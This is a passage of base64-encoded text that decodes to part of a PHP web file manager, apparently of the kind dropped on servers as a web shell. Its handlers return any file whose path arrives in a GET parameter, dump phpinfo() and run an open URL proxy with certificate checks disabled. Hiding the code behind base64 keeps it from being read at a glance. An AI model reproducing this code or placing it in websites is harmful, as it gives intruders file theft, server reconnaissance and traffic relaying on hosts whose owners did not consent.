ltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJfQkNCg0KCQkgICAgICAgICB9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi8vIEp1c3Qgc2hvdyBpbWFnZQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSk7DQoNCglpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIHN3aXRjaCAgKCRpbmZvWzJdKXsJLy8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QDQoNCgkJICAgICAgICAgCWNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAljYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhazsNCg0KCQkgICAgICAgICAJY2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhazsNCgkJICAgICAgICAgCWNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7DQoJCSAgICAgICAgIAlkZWZhdWx0OiBkaWUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgfQ0KCQkgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvJGV4dCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgZGllKCk7DQoNCgl9DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovLyBKdXN0IGRvd25sb2FkIGZpbGUNCg0KaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgew0KDQoJJGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnZG93bmxvYWQnXSk7DQoJZm1fZG93bmxvYWQoJGZpbGUpOwkNCg0KfQ0KDQoNCg0KLy8gSnVzdCBzaG93IGluZm8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaWYgKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7DQoNCglwaHBpbmZvKCk7IA0KCWRpZSgpOw0KDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy8gTWluaSBwcm94eSwgbWFueSBidWdzIQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbXNfY29uZmlnWydlbmFibGVfcHJveHknXSkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pP3VybGRlY29kZSgkX0dFVFsndXJsJ10pOicnOw0KDQoJJHByb3h5X2Zvcm0gPSAnDQo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjEwMDUwMDtiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZTRmNWZjIDAlLCNiZmU4ZjkgNTAlLCM5ZmQ4ZWYgNTElLCMyYWIwZWQgMTAwJSk7Ij4NCgk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InByb3h5IiB2YWx1ZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgknLmZtX2hvbWUoKS4nIDxhIGhyZWY9IicuJHVybC4nIiB0YXJnZXQ9Il9ibGFuayI+VXJsPC9hPjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgdmFsdWU9IicuJHVybC4nIiBzaXplPSI1NSI+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1Nob3cnKS4nIiBjbGFzcz0iZm1faW5wdXQiPg0KDQoJPC9mb3JtPg0KDQo8L2Rpdj4NCg0KJzsNCg0KCWlmICgkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOw0KDQoJCSAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdEZW4xeHh4IHRlc3QgcHJveHknKTsNCg0KCQkgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KDQoJCSAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCg0KCQkgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7DQoNCgkJICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoNCgkJICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQoJCSAgICAgICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KCQkgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQoNCgkJICAgICAgICAgLy8kcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCcjKHNyYyk9WyJcJ11baHR0cDovL10/KFteOl0qKVsiXCddI1VpJywgJ1xcMT0iJy4kdXJsLicvXFwyIicsICRyZXN1bHQpOw0KDQoJCSAgICAgICAgICRyZXN1bHQgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJyMoaHJlZnxzcmMpPVsiXCddW2h0dHA6Ly9dPyhbXjpdKilbIlwnXSNVaScsICdmbV91cmxfcHJveHknLCAkcmVzdWx0KTsNCg0KCQkgICAgICAgICAkcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCclKDxib2R5Lio/PiklaScsICckMScuJzxzdHlsZT4nLmZtX2hvbWVfc3R5bGUoKS4nPC9zdHlsZT4nLiRwcm94eV9mb3JtLCAkcmVzdWx0KTsNCg0KCQkgICAgICAgICBlY2hvICRyZXN1bHQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGRpZSgpOw0KDQoJfSANCg0KfQ0KPz4NCjwhZG9jdHlwZSBodG1sPg0KDQo8aHRtbD4NCjxoZWFkPiAgICAgDQoNCgk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+DQoNCiAgICA8dGl0bGU+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48L3RpdGxlPg0KPHN0eWxlPg0KDQpib2R5IHsNCg0KCWJhY2tncm91bmQtY29sb3I6CXdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCWZvbnQtZmFtaWx5OgkJICAgICAgICAgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCglmb250LXNpemU6CQkgICAgICAgICAJOHB0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgltYXJnaW46CQkgICAgICAgICAJCSAgICAgICAgIDBweDsNCn0NCg0KDQphOmxpbmssIGE6YWN0aXZlLCBhOnZpc2l0ZWQgeyBjb2xvcjogIzAwNjY5OTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQoNCmE6aG92ZXIgeyBjb2xvcjogI0RENjkwMDsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0NCg0KYS50aDpsaW5rIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KDQphLnRoOmFjdGl2ZSB7IGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0NCg0KYS50aDp2aXNpdGVkIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KYS50aDpob3ZlciB7ICBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KdGFibGUuYmcgew0KDQoJYmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNg0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICANCg0KDQp0aCwgdGQgeyANCg0KCWZvbnQ6CW5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCg0KCXBhZGRpbmc6IDNweDsNCg0KfQ0KDQoNCnRoCXsNCg0KCWhlaWdodDoJCSAgICAgICAgIAkJICAgICAgICAgMjVweDsNCg0KCWJhY2tncm91bmQtY29sb3I6CSMwMDY2OTk7DQoNCgljb2xvcjoJCSAgICAgICAgIAkJICAgICAgICAgI0ZGQTM0RjsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCglmb250LXdlaWdodDoJCSAgICAgICAgIGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJZm9udC1zaXplOgkJICAgICAgICAgCTExcHg7DQoNCn0NCg0KDQoNCi5yb3cxIHsNCgliYWNrZ3JvdW5kLWNvbG9yOgkjRUZFRkVGOw0KDQp9DQoNCg0KDQoucm93MiB7DQoNCgliYWNrZ3JvdW5kLWNvbG9yOgkjREVFM0U3Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLnJvdzMgew0KCWJhY2tncm91bmQtY29sb3I6CSNEMUQ3REM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJcGFkZGluZzogNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCnRyLnJvdzE6aG92ZXIgew0KDQoJYmFja2dyb3VuZC1jb2xvcjoJI0YzRkNGQzsNCg0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KdHIucm93Mjpob3ZlciB7DQoNCgliYWNrZ3JvdW5kLWNvbG9yOgkjRjBGNkY2Ow0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoud2hvbGUgew0KDQoJd2lkdGg6IDEwMCU7DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQouYWxsIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7fQ0KDQoNCg0KdGV4dGFyZWEgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJZm9udDogOXB0ICdDb3VyaWVyIE5ldycsIGNvdXJpZXI7DQoNCglsaW5lLWhlaWdodDogMTI1JTsNCglwYWRkaW5nOiA1cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi50ZXh0YXJlYV9pbnB1dCB7DQoNCgloZWlnaHQ6IDFlbTsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoudGV4dGFyZWFfaW5wdXQ6Zm9jdXMgew0KICAgICAgICAgICAgICAgICAgICAgICAgICANCgloZWlnaHQ6IGF1dG87DQoNCn0NCg0KDQppbnB1dFt0eXBlPXN1Ym1pdF17DQoJYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoJY3Vyc29yOiBwb2ludGVyOw0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KLmZvbGRlciB7DQoNCiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUtUMmxEUTFCUWFHOTBiM05vYjNBZ1NVTkRJSEJ5YjJacGJHVUFBSGphblZOblZGUHBGajMzM3ZSQ1M0aUFsRXR2VWhVSUlGSkNpNEFVa1NZcUlRa1FTb2dob2RrVlVjRVJSVVVFRzhpZ2lBT09qb0NNRlZFc0RJb0syQWZrSWFLT2c2T0lpc3I3NFh1amE5YTg5K2JOL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6L1NNQkFQaCtQRHdySXNBSHZnQUJlTk1MQ0FEQVRadkFNQnlIL3cvcVFwbGNBWUNFQWNCMGtUaExDSUFVQUVCNmprS21BRUJHQVlDZG1DWlRBS0FFQUdETFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRaWWhFQUdnN0FLelBWb3BGQUZnd0FCUm1TOFE1QU5ndEFEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkEvZzg4d0FBS0NSRlJIZ2cvUDllTTRPcnM3T05vNjJEbDh0NnI4Ry95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdC9xSWw3Z1JvWGd1Z2RmZUxacklQUUxVQW9PbmFWL053K0g0OFBFV2hrTG5aMmVYazVOaEt4RUpiWWNwWGZmNW53bC9BVi8xcytYNDgvUGYxNEw3aUpJRXlYWUZIQlBqZ3dzejBUS1VjejVJSmhHTGM1bzlIL0xjTC8vd2QweUxFU1dLNVdDb1U0MUVTY1k1RW1venpNcVVpaVVLU0tjVWwwdjlrNHQ4cyt3TSszelVBc0dvK0FYdVJMYWhkWXdQMlN5Y1FXSFRBNHZjQUFQSzdiOEhVS0FnRGdHaUQ0YzkzLys4Ly9VZWdKUUNBWmttU2NRQUFYa1FrTGxUS3N6L0hDQUFBUktDQktyQkJHL1RCR0N6QUJoekJCZHpCQy94Z05vUkNKTVRDUWhCQ0NtU0FISEpnS2F5Q1FpaUd6YkFkS21BdjFFQWROTUJSYUlhVGNBNHV3bFc0RGoxd0QvcGhDSjdCS0x5QkNRUkJ5QWdUWVNIYWlBRmlpbGdqamdnWG1ZWDRJY0ZJQkJLTEpDREppQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVQzVURMVkR1YWczR29SR29ndlFaSFF4bW84V29KdlFjclFhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUS9wSDVaL1lrR1djTk13MDlEcEZHZ3NWL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVkvUjI3aXoycXFhRTVRek5LTTFlelV2T1VaajhINDVoeCtKeDBUZ25uS0tlWDgzNkszaFR2S2VJcEc2WTBUTGt4WlZ4cnFwYVhsbGlyU0t0UnEwZnJ2VGF1N2FlZHByMUZ1MW43Z1E1Qngwb25YQ2RIWjQvT0JaM25VOWxUM2FjS3B4Wk5QVHIxcmk2cWE2VWJvYnRFZDc5dXArNllucjVlZ0o1TWI2ZmVlYjNuK2h4OUwvMVUvVzM2cC9WSERGZ0dzd3drQnRzTXpoZzh4VFZ4Ynp3ZEw4ZmI4VkZEWGNOQVE2VmhsV0dYNFlTUnVkRThvOVZHalVZUGpHbkdYT01rNDIzR2JjYWpKZ1ltSVNaTFRlcE43cHBTVGJtbUthWTdURHRNeDgzTXphTE4xcGsxbXoweDF6TG5tK2ViMTV2ZnQyQmFlRm9zdHFpMnVHVkpzdVJhcGxudXRyeHVoVm81V2FWWVZWcGRzMGF0bmEwbDFydXR1NmNScDdsT2swNnJudFpudzdEeHRzbTJxYmNac09YWUJ0dXV0bTIyZldGblloZG50OFd1dys2VHZaTjl1bjJOL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK1RQM2dxN1pFM2dYcDMyNkhzY0xKRlRFaEFmNW8zNkF6a3YvdU51NXA3b2Zjbjh3MG55bWVXVE56ME1QSVErQlI1ZEUvQzUrVk1HdmZySDVQUTArQlo3WG5JeTlqTDVGWHJkZXd0NlYzcXZkaDd4Yys5ajV5bitNKzR6dzMzakxlV1YvTU44QzN5TGZMVDhOdm5sK0YzME4vSS85ay8zci8wUUNuZ0NVQlp3T0pnVUdCV3dMNytIcDhJYitPUHpyYlpmYXkyZTFCaktDNVFSVkJqNEt0Z3VYQnJTRm95T3lRclNIMzU1ak9rYzVwRG9WUWZ1alcwQWRoNW1HTHczNE1KNFdIaFZlR1A0NXdpRmdhMFRHWE5YZlIzRU56MzBUNlJKWkUzcHRuTVU4NXJ5MUtOU28rMHg5QmU1NGVjNWE1NUE5NzUzZTk5ODU3NUIxNUIwODQyZjhhNThFNzlhLzg3Zk9INHAzaUMrTjdGNWd2eUYxd2VhSE93dlNGcHhhcExoSXNPcFpBVEloT09KVHdRUkFxcUJhTUpmSVRkeVdPQ25uQ0hjSm5JaS9STnRHSTJFTmNLaDVPOGtncVRYcVM3Skc4Tlhra3hUT2xMT1c1aENlcGtMeE1EVXpkbXpxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYS96WW5LT1phcm5pdk43Y3l6eXR1UU41enZuLy90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPL1BMaThaYWZKenMwN1AxU2tWUFJVK2xRMjd0TGR0V0hYK0c3UjdodDd2UFkwN05YYlc3ejMvVDdKdnR0VkFWVk4xV2JWWmZ0Sis3UDNQNjZKcXVuNGx2dHRYYTFPYlhIdHh3UFNBLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrKy9wM3ZkeTBOTmcxVmpaekc0aU53UkhuazZmY0ozL2NlRFRyYWRveDdyT0VIMHg5MkhXY2RMMnBDbXZLYVJwdFRtdnRiWWx1NlQ4dyswZGJxM25yOFI5c2ZENXcwUEZsNVN2TlV5V25hNllMVGsyZnl6NHlkbFoxOWZpNzUzR0Rib3JaNzUyUE8zMm9QYisrNkVIVGgwa1gvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284LzB4OUJlNTRlYzVhNTVBOTc1M2U5OTg1NzVCMTVCMDg0MmY4YTU4RTc5YS8xdFdlT1QzZHZmTjZiL2ZGOS9YZkZ0MStjaWY5enN1NzJYY243cTI4VDd4ZjlFRHRRZGxEM1lmVlAxdiszTmp2M0g5cXdIZWc4OUhjUi9jR2hZUFAvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUYvNmkvc3V1RnhZdmZ2alY2OWZPMFpqUm9aZnlsNU8vYlh5bC9lckE2eG12MjhiQ3hoNit5WGd6TVY3MFZ2dnR3WGZjZHgzdm85OFBUK1I4SUg4by8yajVzZlZUMEtmN2t4bVRrLzhFQTVqei9HTXpMZHNBQUFBR1lrdEhSQUQvQVA4QS82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmY0NBd0dNaGxlR0FLT0FBQUJ5RWxFUVZRNHk4V1RUMnNVUVJERmY5WFRNK1BHSUJIZEVFUVI4ZUFmZ2dhUEh2VHV5VStpKzB4OUJlNTRlYzVhNTVBOTc1M2U5OTg1NzVCMTVCMDg0MmY4YTU4RTc5YStIbWF5NXFBWThHQkRkVFdQZW85SFZSZjg3Mk85eFZ2My9KbnJDeWdJVTQwNksvcWJyYlAzVnhiL3FqRDgrT1NOdEMrVlg2UmlVeXJXcFhKRDJhZW5meVIzWHM5TjNoNXJGSXc2RUFZUXhzQUlLTUZ4K2NmU2cwZG1GaytxSmFReUd1MHR2d1QyS3dFWmhBTlFXWkdWZzNMUzgzZXVwTTJGNXlpRGtFOXdEUFo3NjJ2UWZWVUpoSUtRN1REYVc4VGlhY0NPMmxObmQ2eGpsWXZwbTQ5ZjVGdU5aK1hCeHBvbjVCVGZXcVN6TjRBRUxBRkxxK3dTYklMRmRYZ2d1b2liVWo3K3Z1MFJLRzlqZVlIazZ1SUVYSW9zUVpaaU5XWXVRU1FRVFdGdVlFVjNhY1hUZndkeGl0S3JRQXd1bVlpWU8zSnpDa1ZUeURXd3NnK0RWWlI5WU5UTDNucU5Ebkh4TkJxMmYxbWMySTFBZ25BSVJSZkdiVlFPYW1lbnlRN2F5NzRzSTN6K0ZXV0g5YWlPcmxDRkJPYXFxTG9JeWlqdytZV0hXOXUrQ0tiR3NJYzAvczJYMGJGcEhNTlVFdUtaVlFDLzJ4MG1NMDBQOGlkZkFBZXR6MkVUd0c1ZmE4N1Bub3N1aFlCT3lvOGN0dE1KVys4M2Rsdi90SWwzRitiNENZeXAyVHh3MlZVd0FBQUFBRWxGVGtTdVFtQ0MiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQouZmlsZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5h